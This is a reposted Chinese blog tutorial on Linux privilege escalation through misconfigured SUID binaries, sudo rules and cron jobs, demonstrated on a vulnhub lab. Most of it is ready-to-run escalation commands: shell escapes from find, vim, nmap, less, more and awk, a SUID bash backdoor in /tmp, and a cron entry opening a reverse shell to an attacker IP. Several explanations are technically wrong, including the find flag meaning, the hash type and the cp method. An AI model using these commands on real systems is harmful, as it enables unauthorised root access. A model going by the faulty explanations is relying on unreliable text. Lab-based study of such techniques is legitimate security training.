linux提权方法 (上)

admin 2024年7月9日07:38:09评论7 views字数 3733阅读12分26秒阅读模式

SUID配置错误提权

什么是suid

suid(set uid)是linux中的一种特殊权限,它允许一个程序在执行时临时拥有其所有者的权限。这种特性可以被用来进行权限提升,即在某些情况下,普通用户可以通过执行具有SUID权限的程序来获得更高权限,例如root权限。

SUID权限通常设置在二进制程序上,当设置了SUID权限的程序被执行时,执行者将获得该程序所有者的权限,直到程序执行完成。这可以用于合法的权限提升,比如让用户能够编辑一些需要特定权限的文件,但也可能被滥用来进行恶意的权限提升。

提权条件:

1、只有可以执行的二进制程序文件才能设定SUID权限
2、SUID权限只在该程序执行过程中有效
3、命令执行者对二进制程序文件有执行(x)权限

关于SUID权限的命令通常是使用chmod命令,例如:

1、设置suid:chmod u+s file
2、去除suid:chmod u-s file
linux提权方法 (上)

如何查找suid文件

查找系统中具有SUID权限的文件,可以使用如下命令。例如:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ; 

这里针对find / -perm -u=s -type f 2>/dev/null 命令解析

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

以上的命令会搜索整个文件系统,找出所有设置了SUID权限的文件

linux提权方法 (上)

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。

linux提权方法 (上)

具有suid权限的二进制可执行文件有:

nmap
vim
find
bash
more
less
nano
cp
awk

进行suid提权

find提权

这里以vulnhub 靶场DC1为例

linux提权方法 (上)

find具有suid权限

用find执行命令,‐name参数填写真实存在的文件名flag4

find -name flag4 -exec "/bin/sh" -p ;

/bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示
以特权(即以 root 用户)运行 bash。打开一个交互式 shell 环境,具有 root 用户权限。
linux提权方法 (上)
还可以新建一个文件,使用find命令进行提权
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami ;

注:一定要保证‐name参数后的文件为真实存在的。

vim提权

Vim提权通常是指当Vim或其相关文件(如vim.basic)被设置了SUID权限时,可以利用这个特性来获得更高权限,通常是root权限

利用Vim提权

1、使用具有SUID权限的vim.basic编辑/etc/passwd文件:

vim.basic /etc/passwd

在Vim中,你可以添加一个新的用户条目或修改现有用户条目的密码哈希,然后保存并退出。

2、创建新用户或修改密码:

/etc/passwd文件中添加如下格式的新用户:

其中$6$salt$hash是使用openssl passwd -1 -salt salt生成的密码哈希。

newuser:$6$salt$hash:uid:gid:GECOS:home:shell

3、切换到新用户:保存修改后的/etc/passwd文件,并以新用户身份登录或使用su命令切换到新用户。

nmap提权

Nmap 提权主要是利用 Nmap 旧版本中的交互模式,或者利用 Nmap 的 SUID 权限设置来进行权限提升

  1. 检查 Nmap 版本:首先需要确定 Nmap 的版本是否支持交互模式,通常在 Nmap 2.02 到 5.21 版本之间支持此模式。

    nmap -V
  2. 启动 Nmap 交互模式

    nmap --interactive
  3. 利用 SUID 权限提权:如果 Nmap 具有 SUID 权限,可以通过执行 nmap --interactive 然后 !sh 来获取 root 权限的 shell。

nmap> !sh
sh-3.2# whoami
root

bash提权

Bash 提权通常是指利用 Bash 脚本或 Bash 特殊技巧来获取更高级别的权限,尤其是在 Linux 或类 Unix 系统中

当 Bash 有 SUID 权限时,通过执行 bash -p 来尝试获取一个 root shell。这将使 Bash 以文件所有者的权限运行,如果文件所有者是 root,那么你就可能获得 root 权限

bash -p

这里仅介绍bash具有suid权限时的提权方式,bash提权还有滥用 sudo 权限计划任务提权等方式进行提权

more提权

more 提权通常是指利用 more 命令的交互功能来尝试获取一个更高权限的 shell,尤其是在 Linux 或类 Unix 系统中

1、使用它来执行其他需要高权限的命令。例如,通过执行 more /etc/passwd 来查看密码文件。

more /etc/passwd

2、然后在 more 提示符 : 下输入 !/bin/sh 来尝试获取一个 shell

!/bin/sh

less提权

less 提权是一种在Linux系统中利用具有SUID权限的less程序,来尝试执行高权限命令的方法。如果less命令具有SUID权限,那么它就可以被用来提权

1、如果less具有SUID权限,你可以通过它来执行命令。首先,使用less打开一个文件,例如/etc/passwd

less /etc/passwd

2、然后在 less 提示符 :下输入!/bin/sh` 来尝试获取一个 shell

!/bin/sh

nano提权

nano 提权是一种在Linux系统中利用具有SUID权限的nano文本编辑器来尝试获取更高权限的方法。如果nano命令具有SUID权限,它就可以被用来提权。

1、如果nano具有SUID权限,你可以通过它来执行命令。首先,使用sudo加上具有SUID权限的nano打开一个文件:

sudo /bin/nano

2、在nano编辑器中,可以通过按下Ctrl + RCtrl + X来执行命令

Ctrl + R
Ctrl + X

cp提权

如果cp具有SUID权限,可以通过它来覆盖一些关键的系统文件或二进制文件,从而尝试获取更高权限

1、覆盖/bin/bash来创建一个后门 ,这会创建一个具有SUID权限的bash副本

cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

2、执行/tmp/bash -p可以获取一个root权限的shell

/tmp/bash -p

awk提权

awk 提权是一种在Linux系统中利用具有SUID权限的awk程序来尝试执行高权限命令的方法。如果awk命令具有SUID权限,它就可以被用来提权

sudo awk 'BEGIN {system("/bin/bash")}'

sudo提权

sudo 提权通常是指在Linux系统中,如果一个普通用户被授予了使用sudo来执行某些命令的权限。

一般情况下,我们使用sudo命令都需要输入root密码

linux提权方法 (上)

管理可能为了方便对/etc/sudoers进行编辑成sudo免密码 :

test ALL=(ALL:ALL) NOPASSWD:ALL  新增了一个test用户

linux提权方法 (上)

切换到test用户, 不需要输入密码,且拥有root的权限

sudo su test

计划任务提权

计划任务提权是Linux系统提权的一种方法,它利用了系统中的定时任务(如cron作业)的配置不当或弱点来实现权限提升

1、查找计划任务:使用命令crontab -l查看当前用户的cron作业,或使用ls -la /etc/cron.*查看系统级别的cron作业配置文件

ls -l /etc/cron*
cat /etc/crontab 

2、分析计划任务的权限:检查cron作业文件的权限和所有者,如果某个作业文件权限较宽松(如权限为777),或者属于root,那么可能存在提权机会

3、编辑计划任务提权:如果发现可写的cron作业文件,尝试编辑该文件,添加执行恶意命令的行。例如,添加以下行来尝试反弹shell:

* * * * * /bin/bash -i >& /dev/tcp/192.168.111.5/1234 0>&1

其中192.168.111.51234分别是攻击者机器的IP地址和端口。

4、利用环境变量提权:某些cron作业可能通过环境变量执行命令,如果这些环境变量可以被修改,那么可以尝试添加恶意代码。例如:

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/path/to/your/malicious/script

加下方wx,拉你一起进群学习

linux提权方法 (上)

原文始发于微信公众号(红队蓝军):linux提权方法 (上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月9日07:38:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   linux提权方法 (上)http://cn-sec.com/archives/2932608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息